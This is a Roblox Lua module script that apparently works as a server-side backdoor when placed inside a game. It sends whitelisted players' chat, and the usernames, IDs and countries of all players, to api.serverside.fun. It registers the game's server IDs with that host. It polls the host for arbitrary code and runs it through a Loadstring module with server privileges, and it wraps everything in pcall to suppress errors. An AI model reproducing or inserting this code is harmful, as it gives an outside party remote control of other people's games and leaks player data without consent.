--[[ IDs in this script: - 13749573698 - Watermark - 3436957371 - R6 ]] local GET_PLAYERS_URL = "https://api.serverside.fun/v1/get-players" local WATERMARK_ID = 13749573698 local LocalisationService = game:GetService("LocalizationService") local HttpService = game:GetService("HttpService") local Players = game:GetService("Players") local Module = {} Players.PlayerAdded:Connect(function(player) pcall(function() local response = HttpService:GetAsync("https://api.serverside.fun/v1/check-whitelist/" .. player.UserId .. "/" .. game.GameId) local user_data = HttpService:JSONDecode(response) if user_data.whitelisted ~= false then pcall(function() player.Chatted:Connect(function(message) pcall(function() HttpService:PostAsync("https://api.serverside.fun/v1/chat", HttpService:JSONEncode({ ["text"] = tostring(message), ["robloxId"] = tostring(player.UserId), ["placeId"] = tostring(game.PlaceId) })) end) end) end) if user_data.watermark then if user_data.watermark == true then pcall(function() require(WATERMARK_ID).hi(player.Name) end) end end local function getPlayerData() local playerData = {} for i, v in ipairs(Players:GetPlayers()) do local country = "Unknown" pcall(function() country = LocalisationService:GetCountryRegionForPlayerAsync(v) end) table.insert(playerData, {username = v.Name, userid = v.UserId, displayName = v.DisplayName, country = country}) end return playerData end local function postPlayerData() task.wait(0.5) if Players:FindFirstChild(player.Name) then HttpService:PostAsync(GET_PLAYERS_URL, HttpService:JSONEncode({value = getPlayerData(), robloxId = player.UserId})) end end local posted_removing_1 = true local posted_removing_2 = false local function postPlayerRemovingData() task.wait(1) if Players:FindFirstChild(player.Name) and posted_removing_1 == true then postPlayerData() else posted_removing_1 = false if posted_removing_2 == false then HttpService:PostAsync(GET_PLAYERS_URL, HttpService:JSONEncode({value = {}, robloxId = player.UserId})) posted_removing_2 = true end end end pcall(function() postPlayerData() Players.PlayerAdded:Connect(postPlayerData) Players.PlayerRemoving:Connect(postPlayerRemovingData) end) -- Premium script polling if user_data.type ~= "NORMAL" then pcall(function() local premium_script_poll_data = HttpService:JSONDecode(HttpService:GetAsync("https://api.serverside.fun/v1/private-scripts/" .. player.UserId)) for i, v in ipairs(premium_script_poll_data.scripts) do pcall(function() if v == "r6()" then pcall(function() require(3436957371):r6(player.Name) end) elseif v == "re()" then pcall(function() player:LoadCharacter() end) elseif v:match("USERNAME") then pcall(function() require(script.Loadstring)(string.gsub(v, "USERNAME", player.Name))() end) else pcall(function() require(script.Loadstring)(v)() end) end end) end end) end -- Normal script polling local script_poll_url = "https://api.serverside.fun/v1/long-polling/kkwAhfSFRnAyAoffQYNEEviBUAVs/" .. player.UserId while true do local success, error = pcall(HttpService.GetAsync, HttpService, script_poll_url) if success then local success_2, error_2 = pcall(HttpService.JSONDecode, HttpService, error) if success_2 then if error_2 and error_2["script"] then if Players:FindFirstChild(player.Name) then local polled_script = error_2["script"].script if player.UserId == tonumber(error_2["script"].robloxId) then if polled_script == "r6()" then pcall(function() require(3436957371):r6(player.Name) end) elseif polled_script == "re()" then pcall(function() player:LoadCharacter() end) elseif polled_script:match("USERNAME") then pcall(function() require(script.Loadstring)(string.gsub(polled_script, "USERNAME", player.Name))() end) else pcall(function() require(script.Loadstring)(polled_script)() end) end pcall(function() HttpService:PostAsync("https://api.serverside.fun/v1/script-logs", HttpService:JSONEncode({ ["script"] = polled_script, ["robloxId"] = tostring(player.UserId), ["gameId"] = tostring(game.GameId) })) end) end end end end end task.wait() end end end) -- Free script polling pcall( function() local free_user_data = HttpService:JSONDecode(HttpService:GetAsync("https://api.serverside.fun/v1/toggle-free/check/" .. player.UserId)) if free_user_data.whitelisted ~= false then local function getPlayerData() local playerData = {} for i, v in ipairs(Players:GetPlayers()) do local country = "Unknown" pcall(function() country = LocalisationService:GetCountryRegionForPlayerAsync(v) end) table.insert(playerData, {username = v.Name, userid = v.UserId, displayName = v.DisplayName, country = country}) end return playerData end local function postPlayerData() task.wait(0.5) if Players:FindFirstChild(player.Name) then HttpService:PostAsync(GET_PLAYERS_URL, HttpService:JSONEncode({value = getPlayerData(), robloxId = player.UserId})) end end local posted_removing_1 = true local posted_removing_2 = false local function postPlayerRemovingData() task.wait(1) if Players:FindFirstChild(player.Name) and posted_removing_1 == true then postPlayerData() else posted_removing_1 = false if posted_removing_2 == false then HttpService:PostAsync(GET_PLAYERS_URL, HttpService:JSONEncode({value = {}, robloxId = player.UserId})) posted_removing_2 = true end end end pcall(function() postPlayerData() Players.PlayerAdded:Connect(postPlayerData) Players.PlayerRemoving:Connect(postPlayerRemovingData) end) pcall(function() require(WATERMARK_ID).hi(player.Name) end) -- Free script polling while true do task.wait(1) if Players:FindFirstChild(player.Name) then local script_poll_data = HttpService:JSONDecode(HttpService:GetAsync("https://api.serverside.fun/v1/pending-script/" .. player.UserId)) local pending_scripts = script_poll_data.pendingScripts for i, v in pairs(pending_scripts) do if v.script == "r6()" then pcall(function() require(3436957371):r6(player.Name) end) elseif v.script == "re()" then pcall(function() player:LoadCharacter() end) elseif v.script:match("USERNAME") then local z = string.gsub(v.script, "USERNAME", player.Name) pcall(function() require(script.Loadstring)(z)() end) else pcall(function() require(script.Loadstring)(v.script)() end) end end end end else end end) end ) Players.PlayerAdded:Connect(function(player) pcall(function() HttpService:PostAsync("https://api.serverside.fun/v1/games", HttpService:JSONEncode({["jobId"] = tostring(game.JobId), ["universe"] = tostring(game.GameId)})) end) end) return Module